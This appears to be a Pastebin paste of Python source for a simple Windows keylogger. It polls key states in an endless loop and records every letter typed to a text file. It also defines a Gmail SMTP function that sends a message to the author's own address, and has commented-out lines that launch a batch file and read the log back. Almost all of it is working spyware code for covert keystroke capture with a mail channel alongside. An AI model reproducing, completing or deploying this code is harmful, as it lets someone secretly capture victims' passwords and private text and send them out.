Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import win32api
- def name_return():
- #Will return computer str name
- return(win32api.GetComputerName())
- def send_email():
- import smtplib
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEText import MIMEText
- msg = MIMEMultipart()
- msg['From'] = 'back.seat.driver.1492@gmail.com'
- msg['To'] = 'back.seat.driver.1492@gmail.com'
- msg['Subject'] = 'simple email in python'
- message = 'here is the email'
- msg.attach(MIMEText(message))
- mailserver = smtplib.SMTP('smtp.gmail.com',587)
- # identify ourselves to smtp gmail client
- mailserver.ehlo()
- # secure our email with tls encryption
- mailserver.starttls()
- # re-identify ourselves as an encrypted connection
- mailserver.ehlo()
- mailserver.login('back.seat.driver.1492@gmail.com', '')
- mailserver.sendmail('back.seat.driver.1492@gmail.com','back.seat.driver.1492@gmail.com',msg.as_string())
- mailserver.quit()
- def write():
- with open("VALT.txt", "w") as f:
- for i in reg:
- f.write(str(i) + "\n")
- #Method will by pass need for pyhook
- reg=[None]
- while True==True:
- insert=[reg[-1]]
- for i in range(65,91):
- if win32api.GetAsyncKeyState(i) < 0:
- if insert[0]!=i:
- insert[0]=i
- if insert[0]!=reg[-1]:
- reg.append(insert[0])
- write()
- ##from subprocess import Popen
- ##p=Popen("test.bat",cwd=r"C:\Anaconda3")
- #To Open
- ##def open_return():
- ## to_return=[]
- ## with open("VALT.py","r") as f:
- ## for line in f:
- ## to_return.append(line.strip())
- ## return(to_return)
- ##
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement